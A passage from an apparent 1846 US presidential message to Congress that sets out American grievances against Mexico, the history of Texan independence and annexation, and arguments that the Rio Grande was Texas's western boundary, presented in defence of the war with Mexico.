with a sister republic.Scarcely had Mexico achieved her independence, which the United States were\nthe first among the nations to acknowledge, when she commenced the system\nof insult and spoliation which she has ever since pursued. Our citizens\nengaged in lawful commerce were imprisoned, their vessels seized, and our\nflag insulted in her ports. If money was wanted, the lawless seizure and\nconfiscation of our merchant vessels and their cargoes was a ready\nresource, and if to accomplish their purposes it became necessary to\nimprison the owners, captains, and crews, it was done. Rulers superseded\nrulers in Mexico in rapid succession, but still there was no change in this\nsystem of depredation. The Government of the United States made repeated\nreclamations on behalf of its citizens, but these were answered by the\nperpetration of new outrages. Promises of redress made by Mexico in the\nmost solemn forms were postponed or evaded. The files and records of the\nDepartment of State contain conclusive proofs of numerous lawless acts\nperpetrated upon the property and persons of our citizens by Mexico, and of\nwanton insults to our national flag. The interposition of our Government to\nobtain redress was again and again invoked under circumstances which no\nnation ought to disregard. It was hoped that these outrages would cease and\nthat Mexico would be restrained by the laws which regulate the conduct of\ncivilized nations in their intercourse with each other after the treaty of\namity, commerce, and navigation of the 5th of April, 1831, was concluded\nbetween the two Republics; but this hope soon proved to be vain. The course\nof seizure and confiscation of the property of our citizens, the violation\nof their persons, and the insults to our flag pursued by Mexico previous to\nthat time were scarcely suspended for even a brief period, although the\ntreaty so clearly defines the rights and duties of the respective parties\nthat it is impossible to misunderstand or mistake them. In less than seven\nyears after the conclusion of that treaty our grievances had become so\nintolerable that in the opinion of President Jackson they should no longer\nbe endured. In his message to Congress in February, 1837, he presented them\nto the consideration of that body, and declared that--The length of time since some of the injuries have been committed, the\nrepeated and unavailing applications for redress, the wanton character of\nsome of the outrages upon the property and persons of our citizens, upon\nthe officers and flag of the United States, independent of recent insults\nto this Government and people by the late extraordinary Mexican minister,\nwould justify in the eyes of all nations immediate war.In a spirit of kindness and forbearance, however, he recommended reprisals\nas a milder mode of redress. He declared that war should not be used as a\nremedy \"by just and generous nations, confiding in their strength for\ninjuries committed, if it can be honorably avoided,\" and added:It has occurred to me that, considering the present embarrassed condition\nof that country, we should act with both wisdom and moderation by giving to\nMexico one more opportunity to atone for the past before we take redress\ninto our Own hands. To avoid all misconception on the part of Mexico, as\nwell as to protect our own national character from reproach, this\nopportunity should be given with the avowed design and full preparation to\ntake immediate satisfaction if it should not be obtained on a repetition of\nthe demand for it. To this end I recommend that an act be passed\nauthorizing reprisals, and the use of the naval force of the United States\nby the Executive against Mexico to enforce them, in the event of a refusal\nby the Mexican Government to come to an amicable adjustment of the matters\nin controversy between us upon another demand thereof made from on board\nout of our vessels of war on the coast of Mexico.Committees of both Houses of Congress, to which this message of the\nPresident was referred, fully sustained his views of the character of the\nwrongs which we had suffered from Mexico, and recommended that another\ndemand for redress should be made before authorizing war or reprisals. The\nCommittee on Foreign Relations of the Senate, in their report, say:After such a demand, should prompt justice be refused by the Mexican\nGovernment, we may appeal to all nations, not only for the equity and\nmoderation with which we shall have acted toward a sister republic, but for\nthe necessity which will then compel us to seek redress for our wrongs,\neither by actual war or by reprisals. The subject will then be presented\nbefore Congress, at the commencement of the next session, in a clear and\ndistinct form, and the committee can not doubt but that such measures will\nbe immediately adopted as may be necessary to vindicate the honor of the\ncountry and insure ample reparation to our injured fellow-citizens.The Committee on Foreign Affairs of the House of Representatives made a\nsimilar recommendation. In their report they say that--They fully concur with the President that ample cause exists for taking\nredress into our own hands, and believe that we should be justified in the\nopinion of other nations for taking such a step. But they are willing to\ntry the experiment of another demand, made in the most solemn form, upon\nthe justice of the Mexican Government before any further proceedings are\nadopted.No difference of opinion upon the subject is believed to have existed in\nCongress at that time; the executive and legislative departments concurred;\nand yet such has been our forbearance and desire to preserve peace with\nMexico that the wrongs of which we then complained, and which gave rise to\nthese solemn proceedings, not only remain unredressed to this day, but\nadditional causes of complaint of an aggravated character have ever since\nbeen accumulating. Shortly after these proceedings a special messenger was\ndispatched to Mexico to make a final demand for redress, and on the 20th of\nJuly, 1837, the demand was made. The reply of the Mexican Government bears\ndate on the 29th of the same month, and contains assurances of the \"anxious\nwish\" of the Mexican Government \"not to delay the moment of that final and\nequitable adjustment which is to terminate the existing difficulties\nbetween the two Governments;\" that \"nothing should be left undone which may\ncontribute to the most speedy and equitable determination of the subjects\nwhich have so seriously engaged the attention of the American Government;\"\nthat the \"Mexican Government would adopt as the only guides for its conduct\nthe plainest principles of public right, the sacred obligations imposed by\ninternational law, and the religious faith of treaties,\" and that \"whatever\nreason and justice may dictate respecting each case will be done.\" The\nassurance was further given that the decision of the Mexican Government\nupon each cause of complaint for which redress had been demanded should be\ncommunicated to the Government of the United States by the Mexican minister\nat Washington.These solemn assurances in answer to our demand for redress were\ndisregarded. By making them, however, Mexico obtained further delay.\nPresident Van Buren, in his annual message to Congress of the 5th of\nDecember, 1837, states that \"although the larger number\" of our demands for\nredress, \"and many of them aggravated cases of personal wrongs, have been\nnow for years before the Mexican Government, and some of the causes of\nnational complaint, and those of the most offensive character, admitted of\nimmediate, simple, and satisfactory replies, it is only within a few days\npast that any specific communication in answer to our last demand, made\nfive months ago, has been received from the Mexican minister;\" and that\n\"for not one of our public complaints has satisfaction been given or\noffered, that but one of the cases of personal wrong has been favorably\nconsidered, and that but four cases of both descriptions out of all those\nformally presented and earnestly pressed have as yet been decided upon by\nthe Mexican Government.\" President Van Buren, believing that it would be\nvain to make any further attempt to obtain redress by the ordinary means\nwithin the power of the Executive, communicated this opinion to Congress in\nthe message referred to, in which he said:On a careful and deliberate examination of their contents of the\ncorrespondence with the Mexican Government, and considering the spirit\nmanifested by the Mexican Government, it has become my painful duty to\nreturn the subject as it now stands to Congress, to whom it belongs to\ndecide upon the time, the mode, and the measure of redress.Had the United States at that time adopted compulsory measures and taken\nredress into their own hands, all our difficulties with Mexico would\nprobably have been long since adjusted and the existing war have been\naverted. Magnanimity and moderation on our part only had the effect to\ncomplicate these difficulties and render an amicable settlement of them the\nmore embarrassing. That such measures of redress under similar provocations\ncommitted by any of the powerful nations of Europe would have been promptly\nresorted to by the United States can not be doubted. The national honor and\nthe preservation of the national character throughout the world, as well as\nour own self-respect and the protection due to our own citizens, would have\nrendered such a resort indispensable. The history of no civilized nation in\nmodern times has presented within so brief a period so many wanton attacks\nupon the honor of its flag and upon the property and persons of its\ncitizens as had at that time been borne by the United States from the\nMexican authorities and people. But Mexico was a sister republic on the\nNorth American continent, occupying a territory contiguous to our own, and\nwas in a feeble and distracted condition, and these considerations, it is\npresumed, induced Congress to forbear still longer.Instead of taking redress into our own hands, a new negotiation was entered\nupon with fair promises on the part of Mexico, but with the real purpose,\nas the event has proved, of indefinitely postponing the reparation which we\ndemanded, and which was so justly due. This negotiation, after more than a\nyear's delay, resulted in the convention of the 11th of April, 1839, \"for\nthe adjustment of claims of citizens of the United States of America upon\nthe Government of the Mexican Republic.\" The joint board of commissioners\ncreated by this convention to examine and decide upon these claims was not\norganized until the month of August, 1840, and under the terms of the\nconvention they were to terminate their duties within eighteen months from\nthat time. Four of the eighteen months were consumed in preliminary\ndiscussions on frivolous and dilatory points raised by the Mexican\ncommissioners, and it was not until the month of December, 1840, that they\ncommenced the examination of the claims of our citizens upon Mexico.\nFourteen months only remained to examine and decide upon these numerous and\ncomplicated cases. In the month of February, 1842, the term of the\ncommission expired, leaving many claims undisposed of for want of time. The\nclaims which were allowed by the board and by the umpire authorized by the\nconvention to decide in case of disagreement between the Mexican and\nAmerican commissioners amounted to $2,026,139.68. There were pending before\nthe umpire when the commission expired additional claims, which had been\nexamined and awarded by the American commissioners and had not been allowed\nby the Mexican commissioners, amounting to $928,627.88, upon which he did\nnot decide, alleging that his authority had ceased with the termination of\nthe joint commission. Besides these claims, there were others of American\ncitizens amounting to $3,336,837.05, which had been submitted to the board,\nand upon which they had not time to decide before their final adjournment.The sum of $2,026,139.68, which had been awarded to the claimants, was a\nliquidated and ascertained debt due by Mexico, about which there could be\nno dispute, and which she was bound to pay according to the terms of the\nconvention. Soon after the final awards for this amount had been made the\nMexican Government asked for a postponement of the time of making payment,\nalleging that it would be inconvenient to make the payment at the time\nstipulated. In the spirit of forbearing kindness toward a sister republic,\nwhich Mexico has so long abused, the United States promptly complied with\nher request. A second convention was accordingly concluded between the two\nGovernments on the 30th of January, 1843, which upon its face declares that\n\"this new arrangement is entered into for the accommodation of Mexico.\" By\nthe terms of this convention all the interest due on the awards which had\nbeen made in favor of the claimants under the convention of the 11th of\nApril, 1839, was to be paid to them on the 30th of April, 1843, and \"the\nprincipal of the said awards and the interest accruing thereon\" was\nstipulated to \"be paid in five years, in equal installments every three\nmonths.\" Notwithstanding this new convention was entered into at the\nrequest of Mexico and for the purpose of relieving her from embarrassment,\nthe claimants have only received the interest due on the 30th of April,\n1843, and three of the twenty installments. Although the payment of the sum\nthus liquidated and confessedly due by Mexico to our citizens as indemnity\nfor acknowledged acts of outrage and wrong was secured by treaty, the\nobligations of which are ever held sacred by all just nations, yet Mexico\nhas violated this solemn engagement by failing and refusing to make the\npayment. The two installments due in April and July, 1844, under the\npeculiar circumstances connected with them, have been assumed by the United\nStates and discharged to the claimants, but they are still due by Mexico.\nBut this is not all of which we have just cause of complaint. To provide a\nremedy for the claimants whose cases were not decided by the joint\ncommission under the convention of April 11, 1839, it was expressly\nstipulated by the sixth article of the convention of the 30th of January,\n1843, that--A new convention shall be entered into for the settlement of all claims of\nthe Government and citizens of the United States against the Republic of\nMexico which were not finally decided by the late commission which met in\nthe city of Washington, and of all claims of the Government and citizens of\nMexico against the United States.In conformity with this stipulation, a third convention was concluded and\nsigned at the city of Mexico on the 20th of November, 1843, by the\nplenipotentiaries of the two Governments, by which provision was made for\nascertaining and paying these claims. In January, 1844, this convention was\nratified by the Senate of the United States with two amendments, which were\nmanifestly reasonable in their character. Upon a reference of the\namendments proposed to the Government of Mexico, the same evasions,\ndifficulties, and delays were interposed which have so long marked the\npolicy of that Government toward the United States. It has not even yet\ndecided whether it would or would not accede to them, although the subject\nhas been repeatedly pressed upon its consideration. Mexico has thus\nviolated a second time the faith of treaties by failing or refusing to\ncarry into effect the sixth article of the convention of January, 1843.Such is the history of the wrongs which we have suffered and patiently\nendured from Mexico through a long series of years. So far from affording\nreasonable satisfaction for the injuries and insults we had borne, a great\naggravation of them consists in the fact that while the United States,\nanxious to preserve a good understanding with Mexico, have been constantly\nbut vainly employed in seeking redress for past wrongs, new outrages were\nconstantly occurring, which have continued to increase our causes of\ncomplaint and to swell the amount of our demands. While the citizens of the\nUnited States were conducting a lawful commerce with Mexico under the\nguaranty of a treaty of \"amity, commerce, and navigation,\" many of them\nhave suffered all the injuries which would have resulted from open war.\nThis treaty, instead of affording protection to our citizens, has been the\nmeans of inviting them into the ports of Mexico that they might be, as they\nhave been in numerous instances, plundered of their property and deprived\nof their personal liberty if they dared insist on their rights. Had the\nunlawful seizures of American property and the violation of the personal\nliberty of our citizens, to say nothing of the insults to our flag, which\nhave occurred in the ports of Mexico taken place on the high seas, they\nwould themselves long since have constituted a state of actual war between\nthe two countries. In so long suffering Mexico to violate her most solemn\ntreaty obligations, plunder our citizens of their property, and imprison\ntheir persons without affording them any redress we have failed to perform\none of the first and highest duties which every government owes to its\ncitizens, and the consequence has been that many of them have been reduced\nfrom a state of affluence to bankruptcy. The proud name of American\ncitizen, which ought to protect all who bear it from insult and injury\nthroughout the world, has afforded no such protection to our citizens in\nMexico. We had ample cause of war against Mexico long before the breaking\nout of hostilities; but even then we forbore to take redress into our own\nhands until Mexico herself became the aggressor by invading our soil in\nhostile array and shedding the blood of our citizens.Such are the grave causes of complaint on the part of the United States\nagainst Mexico--causes which existed long before the annexation of Texas to\nthe American Union; and yet, animated by the love of peace and a\nmagnanimous moderation, we did not adopt those measures of redress which\nunder such circumstances are the justified resort of injured nations.The annexation of Texas to the United States constituted no just cause of\noffense to Mexico. The pretext that it did so is wholly inconsistent and\nirreconcilable with well-authenticated facts connected with the revolution\nby which Texas became independent of Mexico. That this may be the more\nmanifest, it may be proper to advert to the causes and to the history of\nthe principal events of that revolution.Texas constituted a portion of the ancient Province of Louisiana, ceded to\nthe United States by France in the year 1803. In the year 1819 the United\nStates, by the Florida treaty, ceded to Spain all that part of Louisiana\nwithin the present limits of Texas, and Mexico, by the revolution which\nseparated her from Spain and rendered her an independent nation, succeeded\nto the rights of the mother country over this territory. In the year 1824\nMexico established a federal constitution, under which the Mexican Republic\nwas composed of a number of sovereign States confederated together in a\nfederal union similar to our own. Each of these States had its own\nexecutive, legislature, and judiciary, and for all except federal purposes\nwas as independent of the General Government and that of the other States\nas is Pennsylvania or Virginia under our Constitution. Texas and Coahuila\nunited and formed one of these Mexican States. The State constitution which\nthey adopted, and which was approved by the Mexican Confederacy, asserted\nthat they were \"free and independent of the other Mexican United States and\nof every other power and dominion whatsoever,\" and proclaimed the great\nprinciple of human liberty that \"the sovereignty of the state resides\noriginally and essentially in the general mass of the individuals who\ncompose it.\" To the Government under this constitution, as well as to that\nunder the federal constitution, the people of Texas owed allegiance.Emigrants from foreign countries, including the United States, were invited\nby the colonization laws of the State and of the Federal Government to\nsettle in Texas. Advantageous terms were offered to induce them to leave\ntheir own country and become Mexican citizens. This invitation was accepted\nby many of our citizens in the full faith that in their new home they would\nbe governed by laws enacted by representatives elected by themselves, and\nthat their lives, liberty, and property would be protected by\nconstitutional guaranties similar to those which existed in the Republic\nthey had left. Under a Government thus organized they continued until the\nyear 1835, when a military revolution broke out in the City of Mexico which\nentirely subverted the federal and State constitutions and placed a\nmilitary dictator at the head of the Government. By a sweeping decree of a\nCongress subservient to the will of the Dictator the several State\nconstitutions were abolished and the States themselves converted into mere\ndepartments of the central Government. The people of Texas were unwilling\nto submit to this usurpation. Resistance to such tyranny became a high\nduty. Texas was fully absolved from all allegiance to the central\nGovernment of Mexico from the moment that Government had abolished her\nState constitution and in its place substituted an arbitrary and despotic\ncentral government. Such were the principal causes of the Texan revolution.\nThe people of Texas at once determined upon resistance and flew to arms. In\nthe midst of these important and exciting events, however, they did not\nomit to place their liberties upon a secure and permanent foundation. They\nelected members to a convention, who in the month of March, 1836, issued a\nformal declaration that their \"political connection with the Mexican nation\nhas forever ended, and that the people of Texas do now constitute a free,\nsovereign, and independent Republic, and are fully invested with all the\nrights and attributes which properly belong to independent nations.\" They\nalso adopted for their government a liberal republican constitution. About\nthe same time Santa Anna, then the Dictator of Mexico, invaded Texas with a\nnumerous army for the purpose of subduing her people and enforcing\nobedience to his arbitrary and despotic Government. On the 21st of April,\n1836, he was met by the Texan citizen soldiers, and on that day was\nachieved by them the memorable victory of San Jacinto, by which they\nconquered their independence. Considering the numbers engaged on the\nrespective sides, history does not record a more brilliant achievement.\nSanta Anna himself was among the captives.In the month of May, 1836, Santa Anna acknowledged by a treaty with the\nTexan authorities in the most solemn form \"the full, entire, and perfect\nindependence of the Republic of Texas.\" It is true he was then a prisoner\nof war, but it is equally true that he had failed to reconquer Texas, and\nhad met with signal defeat; that his authority had not been revoked, and\nthat by virtue of this treaty he obtained his personal release. By it\nhostilities were suspended, and the army which had invaded Texas under his\ncommand returned in pursuance of this arrangement unmolested to Mexico.From the day that the battle of San Jacinto was fought until the present\nhour Mexico has never possessed the power to reconquer Texas. In the\nlanguage of the Secretary of State of the United States in a dispatch to\nour minister in Mexico under date of the 8th of July, 1842--Mexico may have chosen to consider, and may still choose to consider, Texas\nas having been at all times since 1835, and as still continuing, a\nrebellious province; but the world has been obliged to take a very\ndifferent view of the matter. From the time of the battle of San Jacinto,\nin April, 1836, to the present moment, Texas has exhibited the same\nexternal signs of national independence as Mexico herself, and with quite\nas much stability of government. Practically free and independent,\nacknowledged as a political sovereignty by the principal powers of the\nworld, no hostile foot finding rest within her territory for six or seven\nyears, and Mexico herself refraining for all that period from any further\nattempt to reestablish her own authority over that territory, it can not\nbut be surprising to find Mr. De Bocanegra the secretary of foreign affairs\nof Mexico complaining that for that whole period citizens of the United\nStates or its Government have been favoring the rebels of Texas and\nsupplying them with vessels, ammunition, and money, as if the war for the\nreduction of the Province of Texas had been constantly prosecuted by\nMexico, and her success prevented by these influences from abroad.In the same dispatch the Secretary of State affirms that--Since 1837 the United States have regarded Texas as an independent\nsovereignty as much as Mexico, and that trade and commerce with citizens of\na government at war with Mexico can not on that account be regarded as an\nintercourse by which assistance and succor are given to Mexican rebels. The\nwhole current of Mr. De Bocanegra's remarks runs in the same direction, as\nif the independence of Texas had not been acknowledged. It has been\nacknowledged; it was acknowledged in 1837 against the remonstrance and\nprotest of Mexico, and most of the acts of any importance of which Mr. De\nBocanegra complains flow necessarily from that recognition. He speaks of\nTexas as still being \"an integral part of the territory of the Mexican\nRepublic,\" but he can not but understand that the United States do not so\nregard it. The real complaint of Mexico, therefore, is in substance neither\nmore nor less than a complaint against the recognition of Texan\nindependence. It may be thought rather late to repeat that complaint, and\nnot quite just to confine it to the United States to the exemption of\nEngland, France, and Belgium, unless the United States, having been the\nfirst to acknowledge the independence of Mexico herself, are to be blamed\nfor setting an example for the recognition of that of Texas.And he added that--The Constitution, public treaties, and the laws oblige the President to\nregard Texas as an independent state, and its territory as no part of the\nterritory of Mexico.Texas had been an independent state, with an organized government, defying\nthe power of Mexico to overthrow or reconquer her, for more than ten years\nbefore Mexico commenced the present war against the United States. Texas\nhad given such evidence to the world of her ability to maintain her\nseparate existence as an independent nation that she had been formally\nrecognized as such not only by the United States, but by several of the\nprincipal powers of Europe. These powers had entered into treaties of\namity, commerce, and navigation with her. They had received and accredited\nher ministers and other diplomatic agents at their respective courts, and\nthey had commissioned ministers and diplomatic agents on their part to the\nGovernment of Texas. If Mexico, notwithstanding all this and her utter\ninability to subdue or reconquer Texas, still stubbornly refused to\nrecognize her as an independent nation, she was none the less so on that\naccount. Mexico herself had been recognized as an independent nation by the\nUnited States and by other powers many years before Spain, of which before\nher revolution she had been a colony, would agree to recognize her as such;\nand yet Mexico was at that time in the estimation of the civilized world,\nand in fact, none the less an independent power because Spain still claimed\nher as a colony. If Spain had continued until the present period to assert\nthat Mexico was one of her colonies in rebellion against her, this would\nnot have made her so or changed the fact of her independent existence.\nTexas at the period of her annexation to the United States bore the same\nrelation to Mexico that Mexico had borne to Spain for many years before\nSpain acknowledged her independence, with this important difference, that\nbefore the annexation of Texas to the United States was consummated Mexico\nherself, by a formal act of her Government, had acknowledged the\nindependence of Texas as a nation. It is true that in the act of\nrecognition she prescribed a condition which she had no power or authority\nto impose--that Texas should not annex herself to any other power--but this\ncould not detract in any degree from the recognition which Mexico then made\nof her actual independence. Upon this plain statement of facts, it is\nabsurd for Mexico to allege as a pretext for commencing hostilities against\nthe United States that Texas is still a part of her territory.But there are those who, conceding all this to be true, assume the ground\nthat the true western boundary of Texas is the Nueces instead of the Rio\nGrande, and that therefore in marching our Army to the east bank of the\nlatter river we passed the Texan line and invaded the territory of Mexico.\nA simple statement of facts known to exist will conclusively refute such an\nassumption. Texas, as ceded to the United States by France in 1803, has\nbeen always claimed as extending west to the Rio Grande or Rio Bravo. This\nfact is established by the authority of our most eminent statesmen at a\nperiod when the question was as well, if not better, understood than it is\nat present. During Mr. Jefferson's Administration Messrs. Monroe and\nPinckney, who had been sent on a special mission to Madrid, charged among\nother things with the adjustment of boundary between the two countries, in\na note addressed to the Spanish minister of foreign affairs under date of\nthe 28th of January, 1805, assert that the boundaries of Louisiana, as\nceded to the United States by France, \"are the river Perdido on the east\nand the river Bravo on the west,\" and they add that \"the facts and\nprinciples which justify this conclusion are so satisfactory to our\nGovernment as to convince it that the United States have not a better right\nto the island of New Orleans under the cession referred to than they have\nto the whole district of territory which is above described.\" Down to the\nconclusion of the Florida treaty, in February, 1819, by which this\nterritory was ceded to Spain, the United States asserted and maintained\ntheir territorial rights to this extent. In the month of June, 1818, during\nMr. Monroe's Administration, information having been received that a number\nof foreign adventurers had landed at Galveston with the avowed purpose of\nforming a settlement in that vicinity, a special messenger was dispatched\nby the Government of the United States with instructions from the Secretary\nof State to warn them to desist, should they be found there, \"or any other\nplace north of the Rio Bravo, and within the territory claimed by the\nUnited States.\" He was instructed, should they be found in the country\nnorth of that river, to make known to them \"the surprise with which the\nPresident has seen possession thus taken, without authority from the United\nStates, of a place within their territorial limits, and upon which no\nlawful settlement can be made without their sanction.\" He was instructed to\ncall upon them to \"avow under what national authority they profess to act,\"\nand to give them due warning \"that the place is within the United States,\nwho will suffer no permanent settlement to be made there under any\nauthority other than their own.\" As late as the 8th of July, 1842, the\nSecretary of State of the United States, in a note addressed to our\nminister in Mexico, maintains that by the Florida treaty of 1819 the\nterritory as far west as the Rio Grande was confirmed to Spain. In that\nnote he states that--By the treaty of the 22d of February, 1819, between the United States and\nSpain, the Sabine was adopted as the line of boundary between the two\npowers. Up to that period no considerable colonization had been effected in\nTexas; but the territory between the Sabine and the Rio Grande being\nconfirmed to Spain by the treaty, applications were made to that power for\ngrants of land, and such grants or permissions of settlement were in fact\nmade by the Spanish authorities in favor of citizens of the United States\nproposing to emigrate to Texas in numerous families before the declaration\nof independence by Mexico.The Texas which was ceded to Spain by the Florida treaty of 1819 embraced\nall the country now claimed by the State of Texas between the Nueces and\nthe Rio Grande. The Republic of Texas always claimed this river as her\nwestern boundary, and in her treaty made with Santa Anna in May, 1836, he\nrecognized it as such. By the constitution which Texas adopted in March,\n1836, senatorial and representative districts were organized extending west\nof the Nueces. The Congress of Texas on the 19th of December, 1836, passed\n\"An act to define the boundaries of the Republic of Texas,\" in which they\ndeclared the Rio Grande from its mouth to its source to be their boundary,\nand by the said act they extended their \"civil and political jurisdiction\"\nover the country up to that boundary. During a period of more than nine\nyears which intervened between the adoption of her constitution and her\nannexation as one of the States of our Union Texas asserted and exercised\nmany acts of sovereignty and jurisdiction over the territory and\ninhabitants west of the Nueces. She organized and defined the limits of\ncounties extending to the Rio Grande; she established courts of justice and\nextended her judicial system over the territory; she established a\ncustom-house and collected duties, and also post-offices and post-roads, in\nit; she established a land office and issued numerous grants for land\nwithin its limits; a senator and a representative residing in it were\nelected to the Congress of the Republic and served as such before the act\nof annexation took place. In both the Congress and convention of Texas\nwhich gave their assent to the terms of annexation to the United States\nproposed by our Congress were representatives residing west of the Nueces,\nwho took part in the act of annexation itself. This was the Texas which by\nthe act of our Congress of the 29th of December, 1845, was admitted as one\nof the States of our Union. That the Congress of the United States\nunderstood the State of Texas which they admitted into the Union to extend\nbeyond the Nueces is apparent from the fact that on the 31st of December,\n1845, only two days after the act of admission, they passed a law \"to\nestablish a collection district in the State of Texas,\" by which they\ncreated a port of delivery at Corpus Christi, situated west of the Nueces,\nand being the same point at which the Texas custom-house under the laws of\nthat Republic had been located, and directed that a surveyor to collect the\nrevenue should be appointed for that port by the President, by and with the\nadvice and consent of the Senate. A surveyor was accordingly nominated, and\nconfirmed by the Senate, and has been ever since in the performance of his\nduties. All these acts of the Republic of Texas and of our Congress\npreceded the orders for the advance of our Army to the east bank of the Rio\nGrande. Subsequently Congress passed an act \"establishing certain post\nroutes\" extending west of the Nueces. The country west of that river now\nconstitutes a part of one of the Congressional districts of Texas and is\nrepresented in the House of Representatives. The Senators from that State\nwere chosen by a legislature in which the country west of that river was\nrepresented. In view of all these facts it is difficult to conceive upon\nwhat ground it can be maintained that in occupying the country west of the\nNueces with our Army, with a view solely to its security and defense, we\ninvaded the territory of Mexico. But it would have been still more\ndifficult to justify the Executive, whose duty it is to see that the laws\nbe faithfully executed, if in the face of all these proceedings, both of\nthe Congress of Texas and of the United States, he had assumed the\nresponsibility of yielding up the territory west of the Nueces to Mexico or\nof refusing to protect and defend this territory and its inhabitants,\nincluding Corpus Christi as well as the remainder of Texas, against the\nthreatened Mexican invasion.But Mexico herself has never placed the war which she has waged upon the\nground that our Army occupied the intermediate territory between the Nueces\nand the Rio Grande. Her refuted pretension that Texas was not in fact an\nindependent state, but a rebellious province, was obstinately persevered\nin, and her avowed purpose in commencing a war with the United States was\nto reconquer Texas and to restore Mexican authority over the whole\nterritory--not to the Nueces only, but to the Sabine. In view of the\nproclaimed menaces of Mexico to this effect, I deemed it my duty, as a\nmeasure of precaution and defense, to order our Army to occupy a position\non our frontier as a military post, from which our troops could best resist\nand repel any attempted invasion which Mexico might make. Our Army had\noccupied a position at Corpus Christi, west of the Nueces, as early as\nAugust, 1845, without complaint from any quarter. Had the Nueces been\nregarded as the true western boundary of Texas, that boundary had been\npassed by our Army many months before it advanced to the eastern bank of\nthe Rio Grande. In my annual message of December last I informed Congress\nthat upon the invitation of both the Congress and convention of Texas I had\ndeemed it proper to order a strong squadron to the coasts of Mexico and to\nconcentrate an efficient military force on the western frontier of Texas to\nprotect and defend the inhabitants against the menaced invasion of Mexico.\nIn that message I informed Congress that the moment the terms of annexation\noffered by the United States were accepted by Texas the latter became so\nfar a part of our own country as to make it our duty to afford such\nprotection and defense, and that for that purpose our squadron had been\nordered to the Gulf and our Army to take a \"position between the Nueces and\nthe Del Norte\" or Rio Grande and to \"repel any invasion of the Texan\nterritory which might be attempted by the Mexican forces.\"It was deemed proper to issue this order, because soon after the President\nof Texas, in April, 1845, had issued his proclamation convening the\nCongress of that Republic for the purpose of submitting to that body the\nterms of annexation proposed by the United States the Government of Mexico\nmade serious threats of invading the Texan territory. These threats became\nmore imposing as it became more apparent in the progress of the question\nthat the people of Texas would decide in favor of accepting the terms of\nannexation, and finally they had assumed such a formidable character as\ninduced both the Congress and convention of Texas to request that a\nmilitary force should be sent by the United States into her territory for\nthe purpose of protecting and defending her against the threatened\ninvasion. It would have been a violation of good faith toward the people of\nTexas to have refused to afford the aid which they desired against a\nthreatened invasion to which they had been exposed by their free\ndetermination to annex themselves to our Union in compliance with the\noverture made to them by the joint resolution of our Congress. Accordingly,\na portion of the Army was ordered to advance into Texas. Corpus Christi was\nthe position selected by General Taylor. He encamped at that place in\nAugust, 1845, and the Army remained in that position until the 11th of\nMarch, 1846, when it moved westward, and on the 28th of that month reached\nthe east bank of the Rio Grande opposite to Matamoras. This movement was\nmade in pursuance of orders from the War Department, issued on the 13th of\nJanuary, 1846. Before these orders were issued the dispatch of our minister\nin Mexico transmitting the decision of the council of government of Mexico\nadvising that he should not be received, and also the dispatch of our\nconsul residing in the City of Mexico, the former bearing date on the 17th\nand the latter on the 18th of December, 1845, copies of both of which\naccompanied my message to Congress of the 11th of May last, were received\nat the Department of State. These communications rendered it highly\nprobable, if not absolutely certain, that our minister would not be\nreceived by the Government of General Herrera. It was also well known that\nbut little hope could be entertained of a different result from General\nParedes in case the revolutionary movement which he was prosecuting should\nprove successful, as was highly probable. The partisans of Paredes, as our\nminister in the dispatch referred to states, breathed the fiercest\nhostility against the United States, denounced the proposed negotiation as\ntreason, and openly called upon the troops and the people to put down the\nGovernment of Herrera by force. The reconquest of Texas and war with the\nUnited States were openly threatened. These were the circumstances existing\nwhen it was deemed proper to order the Army under the command of General\nTaylor to advance to the western frontier of Texas and occupy a position on\nor near the Rio Grande.The apprehensions of a contemplated Mexican invasion have been since fully\njustified by the event. The determination of Mexico to rush into\nhostilities with the United States was afterwards manifested from the whole\ntenor of the note of the Mexican minister of foreign affairs to our\nminister bearing date on the 12th of March, 1846. Paredes had then\nrevolutionized the Government, and his minister, after referring to the\nresolution for the annexation of Texas which had been adopted by our\nCongress in March, 1845, proceeds to declare that--A fact such as this, or, to speak with greater exactness, so notable an act\nof usurpation, created an imperious necessity that Mexico, for her own\nhonor, should repel it with proper firmness and dignity. The supreme\nGovernment had beforehand declared that it would look upon such an act as a\ncasus belli, and as a consequence of this declaration negotiation was by\nits very nature at an end, and war was the only recourse of the Mexican\nGovernment.It appears also that on the 4th of April following General Paredes, through\nhis minister of war, issued orders to the Mexican general in command on the\nTexan frontier to \"attack\" our Army \"by every means which war permits.\" To\nthis General Paredes had been pledged to the army and people of Mexico\nduring the military revolution which had brought him into power. On the\n18th of April, 1846, General Paredes addressed a letter to the commander on\nthat frontier in which he stated to him: \"At the present date I suppose\nyou, at the head of that valiant army, either fighting already or preparing\nfor the operations of a campaign;\" and, \"Supposing you already on the\ntheater of operations and with all the forces assembled, it is\nindispensable that hostilities be commenced, yourself taking the initiative\nagainst the enemy.\"The movement of our Army to the Rio Grande was made by the commanding\ngeneral under positive orders to abstain from all aggressive acts toward\nMexico or Mexican citizens, and to regard the relations between the two\ncountries as peaceful unless Mexico should declare war or commit acts of\nhostility indicative of a state of war, and these orders he faithfully\nexecuted. Whilst occupying his position on the east bank of the Rio Grande,\nwithin the limits of Texas, then recently admitted as one of the States of\nour Union, the commanding general of the Mexican forces, who, in pursuance\nof the orders of his Government, had collected a large army on the opposite\nshore of the Rio Grande, crossed the river, invaded our territory, and\ncommenced hostilities by attacking our forces. Thus, after all the injuries\nwhich we had received and borne from Mexico, and after she had insultingly\nrejected a minister sent to her on a mission of peace, and whom she had\nsolemnly agreed to receive, she consummated her long course of outrage\nagainst our country by commencing an offensive war and shedding the blood\nof our citizens on our own soil.The United States never attempted to acquire Texas by conquest. On the\ncontrary, at an early period after the people of Texas had achieved their\nindependence they sought to be annexed to the United States. At a general\nelection in September, 1836, they decided with great unanimity in favor of\n\"annexation,\" and in November following the Congress of the Republic\nauthorized the appointment of a minister to bear their request to this\nGovernment. This Government, however, having remained neutral between Texas\nand Mexico during the war between them, and considering it due to the honor\nof our country and our fair fame among the nations of the earth that we\nshould not at this early period consent to annexation, nor until it should\nbe manifest to the whole world that the reconquest of Texas by Mexico was\nimpossible, refused to accede to the overtures made by Texas. On the 12th\nof April, 1844, after more than seven years had elapsed since Texas had\nestablished her independence, a treaty was concluded for the annexation of\nthat Republic to the United States, which was rejected by the Senate.\nFinally, on the 1st of March, 1845, Congress passed a joint resolution for\nannexing her to the United States upon certain preliminary conditions to\nwhich her assent was required. The solemnities which characterized the\ndeliberations and conduct of the Government and people of Texas on the\ndeeply interesting questions presented by these resolutions are known to\nthe world. The Congress, the Executive, and the people of Texas, in a\nconvention elected for that purpose, accepted with great unanimity 